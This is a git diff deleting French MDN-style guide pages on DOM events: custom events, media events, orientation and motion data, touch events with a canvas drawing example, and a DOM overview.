-  log('The time is: ' + e.detail);
-}
-
- -

L'ancienne approche

- -

L'ancienne manière de créer des événements utilise des API inspirées par Java. Le code suivant en montre un exemple :

- -
// Crée l'événement
-var event = document.createEvent('Event');
-
-// Nomme l'événement 'build'.
-event.initEvent('build', true, true);
-
-// Écoute l'événement.
-elem.addEventListener('build', function (e) {
-  // e.target correspond à elem
-}, false);
-
-// target peut être n'importe quel Element ou autre EventTarget.
-elem.dispatchEvent(event);
-
-
- -

Le déclenchement d'événements intégrés

- -

Cet exemple démontre la simulation d'un clic (programmation générant un événement de clic) sur une case à cocher en utilisant des méthodes DOM. Voir l'exemple en action.

- -
function simulateClick() {
-  var event = new MouseEvent('click', {
-    'view': window,
-    'bubbles': true,
-    'cancelable': true
-  });
-  var cb = document.getElementById('checkbox');
-  var canceled = !cb.dispatchEvent(event);
-  if (canceled) {
-    //Un gestionnaire appelé preventDefault.
-    alert("canceled");
-  } else {
-    //Aucun gestionnaires appelé preventDefault.
-    alert("not canceled");
-  }
-}
- -

Compatibilité des navigateurs

- - - -

{{Compat("api.Event.Event")}}

- -

Voir aussi

- -
    -
  • {{domxref("document.createEvent()")}}
    • -
  • {{domxref("Event.initEvent()")}}
    • -
  • {{domxref("EventTarget.dispatchEvent()")}}
    • -
  • {{domxref("EventTarget.addEventListener()")}}
    • -
diff --git a/files/fr/web/guide/dom/events/evenement_medias/index.html b/files/fr/web/guide/dom/events/evenement_medias/index.html deleted file mode 100644 index c34862e7db..0000000000 --- a/files/fr/web/guide/dom/events/evenement_medias/index.html +++ /dev/null @@ -1,266 +0,0 @@ ---- -title: Evénements des Médias -slug: Web/Guide/DOM/Events/evenement_medias -tags: - - Media -translation_of: Web/Guide/Events/Media_events ---- -

Plusieurs événements sont envoyés lors de la gestion des médias inclus dans un documentHTML en utilisant les balises {{ HTMLElement("audio") }} et {{ HTMLElement("video") }} ; ce document les liste et fournit des informations sur leur utilisation.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nom de l'événementDescription
abortEnvoyé lorsque la lecture est avortée ; par exemple, si le média est en cours de lecture et que cette lecture est recommencée depuis le début, cet événement est envoyé.
{{event("canplay")}}Envoyé lorsqu'il y a assez de données disponibles pour que le média puisse être lu, sur au moins quelques trames. Cet événement correspond à la valeur HAVE_ENOUGH_DATA de la propriété readyState.
{{event("canplaythrough")}}Envoyé quand l'état de disponibilité change pour CAN_PLAY_THROUGH, indiquant que le média peut être lu en entier sans interruption si la vitesse de téléchargement de celui-ci reste stable. Il sera également envoyé quand l'état de lecture bascule entre lecture et pause. Note: Changer manuellement la valeur currentTime peut éventuellement déclencher cet évenement dans firefox. Les autres navigateurs peuvent ne pas envoyer cet événement.
{{event("durationchange")}}Les métadonnées sont chargées ou ont changées, indiquant un changement de la durée du média. Cet événement est envoyé lorsque, par exemple, assez de données ont été téléchargées pour connaitre cette durée.
{{event("emptied")}}Les données du média ont été vidées ; par exemple, si le média a déjà été téléchargé, partiellement ou complètement, et que la méthode load() a été appellée pour le re-télécharger.
encrypted {{experimental_inline}}L'agent utilisateur a trouvé des données d'initialisation d'acquisition de licence dans les données du média.
endedEnvoyé quand la lecture du média est terminée.
errorEnvoyé quand une erreur intervient. L'attribut error de l'élément contient plus d'informations. Voir Error handling pour plus de détails.
interruptbeginEnvoyé quand la lecture audio du média est interrompue sur un terminal Firefox OS, soit parce que l'application a été placée en arrière-plan, soit parce que la lecture d'un autre canal audio avec une priorité supérieure commence. Voir Using the AudioChannels API pour plus de détails.
interruptendEnvoyé lorsque la lecture audio du média interrompue recommence sur un terminal Firefox OS — quand l'interruption se termine. Soit quand l'application revient au premier plan, soit quand la lecture d'un autre canal audio avec une priorité supérieure est terminée. Voir Using the AudioChannels API pour plus de détails.
{{event("loadeddata")}}La première frame du media a fini de se télécharger.
{{event("loadedmetadata")}}Les métadonnées du média ont fini de se télécharger ; tous les attributs ont désormais toutes les informations utiles qu'ils peuvent contenir.
{{event("loadstart")}}Envoyé lorsque le téléchargement du média commence.
mozaudioavailableEnvoyé lorsque qu'un tampon audio est fourni à la couche audio du lecteur pour traitement ; le tampon audio contient des échantilons sonores qui peuvent déjà être lus ou non au moment où l'évenement est reçu.
{{event("pause")}}Envoyé quand la lecture du média est mise en pause.
{{event("play")}}Envoyé quand la lecture du média commence après avoir été mise en pause ; c'est-à-dire quand elle reprend après un événement pause précédent.
{{event("playing")}}Envoyé quand la lecture du média commence (soit pour la première fois, soit après avoir été mise en pause ou soit après avoir été terminée puis relancée).
{{event("progress")}}Envoyé de manière périodique pour informer de la progression du téléchargement du média. L'information sur le volume de données actuellement téléchargées est disponible dans la propriété buffered de l'élément.
{{event("ratechange")}}Envoyé lorsque la vitesse de lecture du média change.
{{event("seeked")}}Envoyé lorsqu'une opération de déplacement dans le média est terminée.
{{event("seeking")}}Envoyé lorsqu'une opération de déplacement dans le média commence.
{{event("stalled")}}Envoyé lorsque l'agent utilisateur essaye de télécharger des données du média mais que celle-ci sont indisponibles.
{{event("suspend")}}Envoyé lorsque le téléchargement du média est suspendu ; soit parce que ce téléchargement est fini, soit parce qu'il est mis en pause pour une autre raison.
{{event("timeupdate")}}La position de la tête de lecture dans le média indiquée par l'attribut currentTime de l'élément a changée.
{{event("volumechange")}}Envoyé lorsque le volume sonore du lecteur ou que l'attribut muted de l'élément changent.
{{event("waiting")}}Envoyé lorsqu'une opération demandée (comme la lecture) est reportée en attendant la fin d'une autre opération (comme le déplacement du média).
- -

Vous pouvez facilement écouter ces événements en utilisant du code ci-dessous :

- -
var v = document.getElementsByTagName("video")[0];
-v.addEventListener("seeked", function() { v.play(); }, true);
-v.currentTime = 10.0;
-
- -

Ce code récupère le premier élément vidéo dans le document et y attache un écouteur qui se déclenche quand l'évenement seeked est envoyé. Cet écouteur appèle la méthode play() de l'élément, qui démarre la lecture.

- -

Ensuite, en ligne 3, l'exemple définit la propriété currentTime de l'élement à 10.0, ce qui provoque une opération de déplacement de la tête de lecture à 10 secondes dans le média. Cet opération déclenche l'envoi d'un évenement seeking quand elle commence, puis un évenement seeked quand elle se termine.

- -

En d'autres termes, l'exemple lance le changement de la position de la tête de lecture à 10 secondes dans le média, et lance la lecture quand c'est fait.

- -

Compatibilité des navigateurs

- -

{{ CompatibilityTable() }}

- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari
Support basique{{ CompatUnknown() }}{{ CompatGeckoDesktop("1.9.1") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
encrypted{{CompatChrome(42.0)}} -

 

- 		{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
load{{ CompatUnknown() }}{{CompatNo}} [1]{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
mozaudioavailable {{ non-standard_inline() }}{{ CompatNo() }}{{ CompatGeckoDesktop("2.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}
suspend{{ CompatUnknown() }}{{ CompatGeckoDesktop("1.9.2") }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Support basique{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
encrypted{{ CompatNo }}{{CompatChrome(43.0)}}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{CompatChrome(42.0)}} -

 

-
load{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
mozaudioavailable {{ non-standard_inline() }}{{ CompatNo() }}{{ CompatUnknown() }}{{ CompatGeckoMobile("2.0") }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatNo() }}{{ CompatUnknown() }}
suspend{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
-
- -

[1] Supprimé dans Gecko 1.9.2.

diff --git a/files/fr/web/guide/dom/events/index.html b/files/fr/web/guide/dom/events/index.html deleted file mode 100644 index 475aa10cde..0000000000 --- a/files/fr/web/guide/dom/events/index.html +++ /dev/null @@ -1,18 +0,0 @@ ---- -title: Event developer guide -slug: Web/Guide/DOM/Events -tags: - - DOM - - Event - - Guide - - TopicStub - - events -translation_of: Web/Guide/Events ---- -

{{draft()}}

- -

Tout ce que vous devez savoir sur les événements sera présenté ici. Nous travaillons sur le nettoyage ici maintenant.

- -

Docs

- -

{{LandingPageListSubpages}}

diff --git "a/files/fr/web/guide/dom/events/les_donn\303\251es_d_orientation_et_de_mouvement_expliqu\303\251es/index.html" "b/files/fr/web/guide/dom/events/les_donn\303\251es_d_orientation_et_de_mouvement_expliqu\303\251es/index.html" deleted file mode 100644 index f7f7f0c204..0000000000 --- "a/files/fr/web/guide/dom/events/les_donn\303\251es_d_orientation_et_de_mouvement_expliqu\303\251es/index.html" +++ /dev/null @@ -1,76 +0,0 @@ ---- -title: Les données d'orientation et de mouvement expliquées -slug: Web/Guide/DOM/Events/Les_données_d_orientation_et_de_mouvement_expliquées -tags: - - Coordonnées - - Mobile - - Mouvement - - Orientation - - rotation -translation_of: Web/Guide/Events/Orientation_and_motion_data_explained ---- -

{{ Draft() }}

- -

Résumé

- -

Lorsque vous utilisez des événements d'orientation et de mouvement, il est important de comprendre les valeurs que vous donne le navigateur. Cet article fournit des détails sur les systèmes de coordonnées en jeu et comment vous les utilisez.

- -
-

Attention : Actuellement, Firefox et Chrome ne gèrent pas ces  coordonnées de la même manière. Prenez-y garde en les utilisant.

-
- -

À propos des cadres de coordonnées

- -

Un cadre de coordonnées est un système grâce auquel l'orientation des trois axes (X, Y et Z) d'un objet est définie. Il existe deux cadres de coordonnées à prendre en compte lors de l'utilisation d'événements d'orientation et de mouvement:

- -

Le cadre de coordonnées de la Terre

- -

Le cadre de coordonnées de la Terre est celui basé sur le centre de la Terre ; c'est-à-dire que les axes sont alignés sur la base de l'attraction de la gravité et de l'orientation nord magnétique standard. Nous utilisons des lettres majuscules ("X", "Y" et "Z") pour décrire les axes du cadre de coordonnées de la Terre.

- -
    -
  • L'axe X  suit le plan du sol, perpendiculaire à l'axe Y, et positif vers l'est (et donc négatif vers l'ouest).
    • -
  • L'axe Y suit le plan du sol et est positif vers le vrai nord (c'est-à-dire le pôle nord, pas le nord magnétique) et négatif vers le vrai sud.
    • -
  • L'axe Z est perpendiculaire au plan du sol ; pensez-y comme une ligne tracée entre l'appareil et le centre de la Terre. La valeur de la coordonnée Z est positive vers le haut (loin du centre de la Terre) et négative vers le bas (vers le centre de la Terre).
    • -
- -

Le cadre de coordonnées de l'appareil

- -

Le cadre de coordonnées de l'appareil est basé sur le centre de l'appareil. Nous utilisons des lettres minuscules ("x", "y" et "z") pour décrire les axes du cadre de coordonnées de l'appareil.

- -

axes.png

- -
    -
  • L'axe x est dans le plan de l'écran et est positif vers la droite et négatif vers la gauche.
    • -
  • L'axe y est dans le plan de l'écran et est positif vers le haut et négatif vers le bas.
    • -
  • L'axe z est perpendiculaire à l'écran ou au clavier et positif à partir de l'écran.
    • -
- -
Note : Sur un téléphone ou une tablette, l'orientation de l'appareil est toujours considérée par rapport à l'orientation standard de l'écran ; c'est l'orientation "portrait" sur la plupart des appareils. Sur un ordinateur portable, l'orientation est considérée par rapport au clavier. Si vous voulez détecter les changements d'orientation de l'appareil pour compenser, vous pouvez utiliser l'évènement orientationchange.
- -

À propos de la rotation

- -

La rotation est décrite  pour un axe donné en nombre de degrés d'écart entre le cadre de coordonnées de l'appareil et le cadre de coordonnées de la Terre, et est mesurée en degrés.

- -

Alpha

- -

La rotation autour de l'axe z -- c'est-à-dire, son déplacement latéral, vers la gauche ou la droite - fait changer l'angle de rotation alpha :

- -

alpha.png

- -

L'angle alpha est de 0° quand le haut de l'appareil pointe vers le pôle nord, et augmente lorsque l'appareil est tourné vers la gauche.

- -

Beta

- -

La rotation autour de l'axe x -- c'est-à-dire, l'inclinaison de l'appareil de ou vers l'utilisateur -- provoque le changement de l'angle de rotation beta :

- -

beta.png

- -

L'angle beta est de 0° lorsque le haut et le bas de l'appareil sont à la même distance de la surface de la Terre, et augmente vers 180 ° lorsque l'appareil est incliné vers l'avant et diminue vers -180 ° lorsque l'appareil est incliné vers l'arrière.

- -

Gamma

- -

La rotation autour de l'axe Y -- c'est-à-dire, l'inclinaison de l'appareil vers la gauche ou la droite -- modifie l'angle de rotation gamma :

- -

gamma.png

- -

L'angle gamma est de 0° lorsque les côtés gauche et droit de l'appareil sont à la même distance de la surface de la Terre et augmente vers 90 ° lorsque l'appareil est incliné vers la droite, et vers -90 ° lorsque l'appareil est incliné vers la gauche.

diff --git "a/files/fr/web/guide/dom/events/touch_events/g\303\251rer_\303\240_la_fois_\303\251v\303\251nement_tactile_et_\303\251v\303\251nement_de_la_souris/index.html" "b/files/fr/web/guide/dom/events/touch_events/g\303\251rer_\303\240_la_fois_\303\251v\303\251nement_tactile_et_\303\251v\303\251nement_de_la_souris/index.html" deleted file mode 100644 index 97174a4763..0000000000 --- "a/files/fr/web/guide/dom/events/touch_events/g\303\251rer_\303\240_la_fois_\303\251v\303\251nement_tactile_et_\303\251v\303\251nement_de_la_souris/index.html" +++ /dev/null @@ -1,64 +0,0 @@ ---- -title: Gérer à la fois événement tactile et événement de la souris -slug: >- - Web/Guide/DOM/Events/Touch_events/Gérer_à_la_fois_événement_tactile_et_événement_de_la_souris -translation_of: Web/API/Touch_events/Supporting_both_TouchEvent_and_MouseEvent ---- -

{{DefaultAPISidebar("Touch Events")}}

- -

Les interfaces {{domxref("Touch_events","touch")}} permettent aux applications de créer de meilleures expériences utilisateurs sur les appareils tactiles. Pourtant, la grande majorité du contenu web actuel est développé pour fonctionner uniquement avec la souris. En conséquence, même si un navigateur supporte le tactile, le navigateur continue à émuler les événements de la souris, donc le contenu qui se veut fonctionner uniquement à la souris fonctionnera toujours tel quel sans modification directe.

- -

Idéalement, une application tactile n'a pas besoin de supporter explicitement la souris. Mais puisque le navigateur doit émuler les événements de la souris, il peut être nécessaire de gérer certains problèmes d'interaction. Ci-dessous, vous trouverez des détails concernant l'interaction et ses répercussions pour les développeurs d'application.

- -

Déclenchement de l'événement

- -

La norme des événements tactiles définit quelques exigences envers les navigateurs concernant l'interaction tactile et souris (voir la section Interaction with Mouse Events and click pour plus de détails), noter que le navigateur peut déclencher à la fois des événements tactiles et des événements de la souris en réponse à une seule et même entrée de l'utilisateur. Cette section décrit les exigences pouvant affecter une application.

- -

Si le navigateur déclenche à la fois des événements tactiles et souris en réponse à une seule entrée d'un utilisateur, le navigateur doit déclencher un événement {{event("touchstart")}} avant tout événement de la souris. En conséquence, si une application ne veut pas que des événements de la souris soient déclenchés sur un élément {{domxref("Touch.target","target")}} spécifiquement tactile, le gestionnaire de l'événement tactile de l'élément devrait appeler {{domxref("Event.preventDefault()","preventDefault()")}} ainsi aucun événement additionnel de la souris sera envoyé.

- -

Voici un extrait de code du gestionnaire de l'événement {{event("touchmove")}} qui appelle preventDefault().

- -
// touchmove handler
-function process_touchmove(ev) {
-  // Call preventDefault() to prevent any further handling
-  ev.preventDefault();
-}
-
- -

Ordre des événements

- -

Même si l'ordre spécifique des événements tactiles et souris est défini par l'implémentation, la norme indique que l'ordre suivant est représentatif: pour une entrée :

- -
    -
  • touchstart
    • -
  • Zero ou plus d'événements touchmove, suivant le mouvement de(s) doigt(s)
    • -
  • touchend
    • -
  • mousemove
    • -
  • mousedown
    • -
  • mouseup
    • -
  • click
    • -
- -

Si l'événement {{event("touchstart")}}, {{event("touchmove")}} ou {{event("touchend")}} est annulé pendant une interaction, aucun événement de la souris ou du click sera déclenché, et la séquence des événements qui en résulte serait seulement :

- -
    -
  • touchstart
    • -
  • Zero ou plus d'événements touchmove, suivant le mouvement de(s) doigt(s)
    • -
  • touchend
    • -
- -

Community

- - - - - - diff --git a/files/fr/web/guide/dom/events/touch_events/index.html b/files/fr/web/guide/dom/events/touch_events/index.html deleted file mode 100644 index 7f3cbae7b5..0000000000 --- a/files/fr/web/guide/dom/events/touch_events/index.html +++ /dev/null @@ -1,245 +0,0 @@ ---- -title: Événements tactiles / Touch events -slug: Web/Guide/DOM/Events/Touch_events -tags: - - Tactile - - touch -translation_of: Web/API/Touch_events ---- -

{{DefaultAPISidebar("Touch Events")}}

- -

Afin de fournir un support de qualité pour les interfaces tactiles, les événements tactiles (touch events) permettent d'interpréter les interactions tactiles (sur les écrans ou trackpads).

- -

Définitions

- -
-
Surface
-
La surface tactile. Cela peut être un écran ou un trackpad.
-
- -
-
Point de toucher (Touch point)
-
Le point de contact avec la surface. Cela peut être un doigt ou un stylet (ou un coude, une oreille, un nez... enfin il y a quand même des chances que cela soit un doigt).
-
- -

Interfaces

- -
-
{{ domxref("TouchEvent") }}
-
Représente l'événement qui se produit quand l'action de toucher change.
-
{{ domxref("Touch") }}
-
Représente un point unique de contact entre l'utilisateur et la surface tactile.
-
{{ domxref("TouchList") }}
-
Représente un groupe de plusieurs interactions tactiles. Cela peut par exemple être le cas quand l'utilisateur utilise plusieurs doigts pour toucher simultanément la même surface.
-
{{ domxref("DocumentTouch") }}
-
Contient des méthodes permettant de créer les objets  {{ domxref("Touch") }} et {{ domxref("TouchList") }}.
-
- -

Exemple

- -

Cet exemple permet de gérer un toucher multiple (plusieurs contacts simultanés), permettant ainsi à l'utilisateur de dessiner dans un {{ HTMLElement("canvas") }} avec plusieurs doigts. Cela ne fonctionne qu'avec les navigateurs supportant les interactions tactiles.

- -
Note : Le texte qui suit utilisera le terme de « doigt » pour désigner le point de toucher entre l'utilisateur et la surface. Bien entendu, cela est transposable avec une autre méthode de toucher (stylet...).
- -

Initialiser les gestionnaires d'événements

- -

Quand la page charge, la fonction startup() décrite ci-dessous est appelée par l'attribut onload de l'élément {{ HTMLElement("body") }}.

- -
function startup() {
-  var el = document.getElementsByTagName("canvas")[0];
-  el.addEventListener("touchstart", handleStart, false);
-  el.addEventListener("touchend", handleEnd, false);
-  el.addEventListener("touchcancel", handleCancel, false);
-  el.addEventListener("touchleave", handleLeave, false);
-  el.addEventListener("touchmove", handleMove, false);
-}
-
- -

Cela permet simplement d'initialiser les observateurs d'événements pour l'élément {{ HTMLElement("canvas") }} afin de pouvoir gérer ceux-ci lorsqu'ils se produisent.

- -

Gérer les nouveaux touchers

- -

Quand un événement touchstart se produit, cela indique qu'un nouveau toucher s'est produit. La fonction handleStart() est alors appelée.

- -
function handleStart(evt) {
-  evt.preventDefault();
-  var el = document.getElementsByTagName("canvas")[0];
-  var ctx = el.getContext("2d");
-  var touches = evt.changedTouches;
-
-  for (var i=0; i<touches.length; i++) {
-    ongoingTouches.push(touches[i]);
-    var color = colorForTouch(touches[i]);
-    ctx.fillStyle = color;
-    ctx.fillRect(touches[i].pageX-2, touches[i].pageY-2, 4, 4);
-  }
-}
-
- -

Cette fonction appelle {{ domxref("event.preventDefault()") }}, ce qui évite au navigateur de continuer à traiter cet événement (le début du toucher). Cela permet aussi de ne pas déclencher d'événement de souris. On obtient ensuite le contexte, duquel on peut obtenir une liste des changements des points de toucher grâce à la propriété {{ domxref("TouchEvent.changedTouches") }} de l'événement.

- -

Après quoi, on fait une boucle sur les différents objets {{ domxref("Touch") }} de la liste. puis on les stocke dans un tableau pour ensuite dessiner les points (on souhaite peindre une ligne large de 4 pixels, on dessinera donc des points comme des carrés mesurant 4x4 pixels).

- -

Dessiner avec les déplacements

- -

Chaque fois que le(s) doigt(s) bouge(nt), un événement touchmove est déclenché, ce qui provoque l'appel de la fonction handleMove() que l'on a créée. Son rôle, dans cet exemple, est d'actualiser les informations mises en cache sur les informations tactiles et de dessiner une ligne entre la position précédente et la position actuelle pour chacune des touches.

- -
function handleMove(evt) {
-  evt.preventDefault();
-  var el = document.getElementsByTagName("canvas")[0];
-  var ctx = el.getContext("2d");
-  var touches = evt.changedTouches;
-
-  ctx.lineWidth = 4;
-
-  for (var i=0; i<touches.length; i++) {
-    var color = colorForTouch(touches[i]);
-    var idx = ongoingTouchIndexById(touches[i].identifier);
-
-    ctx.fillStyle = color;
-    ctx.beginPath();
-    ctx.moveTo(ongoingTouches[idx].pageX, ongoingTouches[idx].pageY);
-    ctx.lineTo(touches[i].pageX, touches[i].pageY);
-    ctx.closePath();
-    ctx.stroke();
-    ongoingTouches.splice(idx, 1, touches[i]);  // mettre à jour la liste des touchers
-  }
-}
-
- -

Cette fonction boucle également sur les changements de touchers. Elle consulte toutefois les informations en cache dans le tableau pour déterminer le point de départ de chaque nouveau segment. Cela se fait en consultant la propriété {{ domxref("Touch.identifier") }}. Cette propriété est un entier unique pour chaque touche, cet entier reste le même pour chaque événement tant que le doigt est en contact avec la surface.

- -

Cela permet d'obtenir les précédentes coordonnées pour chaque toucher et ainsi d'utiliser la méthode adaptée pour dessiner le segment reliant les deux positions.

- -

Une fois le segment dessiné, on appelle Array.splice() pour remplacer les informations précédentes sur les points de toucher par les informations courantes contenues dans le tableau ongoingTouches.

- -

Gérer la fin d'un toucher

- -

Lorsqu'un utilisateur enlève son doigt de la surface, un événement touchend est envoyé. De la même manière, un événement touchleave sera envoyé si le doigt sort du canvas. Ici, les deux événements sont gérés en commun avec la fonction handleEnd() ci-dessous. Son rôle est de dessiner le dernier segment pour chaque toucher qui s'est fini et de retirer le point de contact de la liste.

- -
function handleEnd(evt) {
-  evt.preventDefault();
-  var el = document.getElementsByTagName("canvas")[0];
-  var ctx = el.getContext("2d");
-  var touches = evt.changedTouches;
-
-  ctx.lineWidth = 4;
-
-  for (var i=0; i<touches.length; i++) {
-    var color = colorForTouch(touches[i]);
-    var idx = ongoingTouchIndexById(touches[i].identifier);
-
-    ctx.fillStyle = color;
-    ctx.beginPath();
-    ctx.moveTo(ongoingTouches[i].pageX, ongoingTouches[i].pageY);
-    ctx.lineTo(touches[i].pageX, touches[i].pageY);
-    ongoingTouches.splice(i, 1);  // On enlève le point
-  }
-}
-
- -

Cette fonction ressemble beaucoup à la précédente sauf qu'ici en appelant Array.splice(), on retire simplement l'ancien point sans ajouter un point mis à jour. On arrête donc de « suivre » ce point.

- -

Gérer l'annulation d'un toucher

- -

Si le doigt de l'utilisateur se balade dans l'interface du navigateur ou si un toucher doit être annulé, l'événement touchcancel est envoyé et on appelle alors la fonction handleCancel().

- -
function handleCancel(evt) {
-  evt.preventDefault();
-  var touches = evt.changedTouches;
-
-  for (var i=0; i<touches.length; i++) {
-    ongoingTouches.splice(i, 1);  // on retire le point
-  }
-}
-
- -

L'idée est ici la même que pour la fin d'un toucher, on retire simplement le point de la liste. Ici on ne dessine pas le dernier segment.

- -

Fonctions auxiliaires

- -

Cet exemple utilise deux fonctions auxiliaires qu'il est conseillé de lire rapidement afin de mieux comprendre le reste du code.

- -

Sélectionner une couleur pour chaque toucher

- -

Afin que chaque contact soit différent, on utilisera la fonction colorForTouch() pour choisir un couleur unique pour chacun, basée sur l'identifiant du toucher. Cet identifiant sera toujours compris entre 0 et le nombre de touchers moins 1. Imaginons que personne n'utilisera plus de 16 touchers simultanés, on peut alors directement convertir les identifiants en niveaux de gris.

- -
function colorForTouch(touch) {
-  var id = touch.identifier;
-  id = id.toString(16); // creer un nombre hexadécimal
-  return "#" + id + id + id;
-}
-
- -

Le résultat de cette fonction sera une chaîne de caractères qui pourra être utilisée par les fonctions de l'élément {{ HTMLElement("canvas") }} pour dessiner les couleurs. Ainsi avec un identifiant initial {{ domxref("Touch.identifier") }} de 10, le résultat de cette fonction sera la chaîne "#aaa".

- -

Retrouver un toucher en cours

- -

La fonction ongoingTouchIndexById() analyse le tableau ongoingTouches pour trouver le toucher correspondant à l'identifiant donné. Elle retourne alors l'indice du toucher dans le tableau.

- -
function ongoingTouchIndexById(idToFind) {
-  for (var i=0; i<ongoingTouches.length; i++) {
-    var id = ongoingTouches[i].identifier;
-
-    if (id == idToFind) {
-      return i;
-    }
-  }
-  return -1;    // toucher non trouvé
-}
-
- -

Voir l'exemple sur une page

- -

Astuces supplémentaires

- -

Cette section fournit quelques astuces supplémentaires pour gérer les événements tactiles au sein de votre application web.

- -

Gérer les clics

- -

Étant donné que l'appel de la méthode preventDefault() sur l'événement  touchstart ou le premier événement touchmove de la série empêche la saisie d'événements en provenance de la souris, on appelle souvent  preventDefault() sur touchmove plutôt que sur touchstart. Ainsi, les événements de la souris peuvent continuer à se déclencher et le reste du site fonctionnera de manière habituelle. Une autre méthode parfois utilisée est de déclencher des événements de souris à partir des événements tactiles. (L'exemple qui suit représente seulement une indication. La logique a été simplifiée et ce code, tel quel, aura un comportement étrange.)

- -
function onTouch(evt) {
-  evt.preventDefault();
-  if (evt.touches.length > 1 || (evt.type == "touchend" && evt.touches.length > 0))
-    return;
-
-  var newEvt = document.createEvent("MouseEvents");
-  var type = null;
-  var touch = null;
-  switch (event.type) {
-    case "touchstart": type = "mousedown"; touch = event.changedTouches[0];
-    case "touchmove":  type = "mousemove"; touch = event.changedTouches[0];
-    case "touchend":   type = "mouseup"; touch = event.changedTouches[0];
-  }
-  newEvt.initMouseEvent(type, true, true, event.originalTarget.ownerDocument.defaultView, 0,
-    touch.screenX, touch.screenY, touch.clientX, touch.clientY,
-    evt.ctrlKey, evt.altKey, evt.shirtKey, evt.metaKey, 0, null);
-  event.originalTarget.dispatchEvent(newEvt);
-}
-
- -

Appeler preventDefault() uniquement pour un deuxième toucher

- -

Pour éviter que des événements de zoom (comme pinchZoom) ne se produisent sur la page, il est possible d'appeler la méthode preventDefault() sur le deuxième toucher de la série. Ce comportement n'est pas encore parfaitement défini dans les différentes spécifications. Différents résultats se produisent sur les différents navigateurs (ainsi iOS empêchera le zoom mais continuera à autoriser le déroulement de la page avec deux doigts, Android autorisera le zoom mais pas le déroulement, Opera et Firefox empêcheront ces deux opérations). Il est actuellement déconseillé d'être dépendant d'un de ces comportements en particulier. Il faut plutôt utiliser les méta-données concernant la vue virtuelle (viewport) pour éviter un zoom quelconque.

- -
-
- -

Compatibilité des navigateurs

- -

{{Compat("api.Touch")}}

- -
 
- -

Notes relatives à Gecko

- -

Le paramètre dom.w3c_touch_events.enabled peut être utilisé avec ses trois états pour désactiver (0), activer (1) et détecter automatiquement (2) le support des événements tactiles. La valeur par défaut est la détection automatique (2). Une fois que le paramètre a été changé, il est nécessaire de redémarrer le navigateur.

- -
-

{{ gecko_callout_heading("12.0") }}

- -

Avant Gecko 12.0 {{ geckoRelease("12.0") }}, Gecko ne supportait pas les contacts multiples simultanés. Seul un toucher à la fois était supporté.

-
- -
Note : Avant Gecko 6.0 {{ geckoRelease("6.0") }}, Gecko permettait d'utiliser une API propriétaire pour les événements tactile. Cette API est maintenant dépréciée, celle-ci doit être utilisée à la place.
diff --git a/files/fr/web/guide/dom/index.html b/files/fr/web/guide/dom/index.html deleted file mode 100644 index ad672dee28..0000000000 --- a/files/fr/web/guide/dom/index.html +++ /dev/null @@ -1,30 +0,0 @@ ---- -title: Guides DOM pour développeurs -slug: Web/Guide/DOM -tags: - - API - - DOM - - Guide - - TopicStub -translation_of: Web/API/Document_Object_Model -translation_of_original: Web/Guide/API/DOM ---- -

{{draft}}

- -

Le Document Object Model est une API pour les documents HTML et XML. Il fournit une représentation structurelle du document, permettant au développeur de modifier son contenu et sa présentation visuelle. Essentiellement, il connecte des pages Web à des scripts ou des langages de programmation.

- -

Toutes les propriétés, méthodes, et événements disponible pour le développeur web pour manipuler et créer des pages Web sont organisés en objects (par exemple, l'objet de document qui représente le document lui-même, l'objet de table qui représente un élément de tableau HTML, etc.). Ces objets sont accessibles via les langages de script dans les navigateurs Web les plus récents.

- -

Le DOM est le plus souvent utilisé en conjonction avec JavaScript. Cependant, le DOM a été conçu pour être indépendant de tout langage de programmation particulier, rendant la représentation structurelle du document disponible à partir d'une API unique et cohérente. Bien que nous nous concentrions sur JavaScript tout au long de ce site, les implémentations du DOM peuvent être construites pour n'importe quel langage.

- -

Le World Wide Web Consortium établit une norme pour le DOM, appelée W3C DOM. Il devrait, maintenant que les navigateurs les plus importants l'implémentent correctement, activer de puissantes applications multi-navigateurs.

- -

Pourquoi le DOM est-il important?

- -

"HTML dynamique" (DHTML) est un terme utilisé par certains fournisseurs pour écrire la combinaison de HTML, de feuilles de style et de scripts permettant d'animer les documents. Le groupe de travail DOM du W3C travaille d'arrache-pied pour s'assurer que des solutions interopérables et indépendantes du langage sont convenues (voir également la FAQ du W3C). Comme Mozilla revendique le titre de "Web Application Platform", la prise en charge du DOM est l'une des fonctionnalités les plus demandées, et nécessaire si Mozilla veut être une alternative viable aux autres navigateurs.

- -

Encore plus important est le fait que l'interface utilisateur de Mozilla (également Firefox et Thunderbird) est construite en utilisant XUL, en utilisant le DOM pour manipuler sa propre interface utilisateur.

- -

En savoir plus sur le DOM

- -

{{LandingPageListSubpages}}

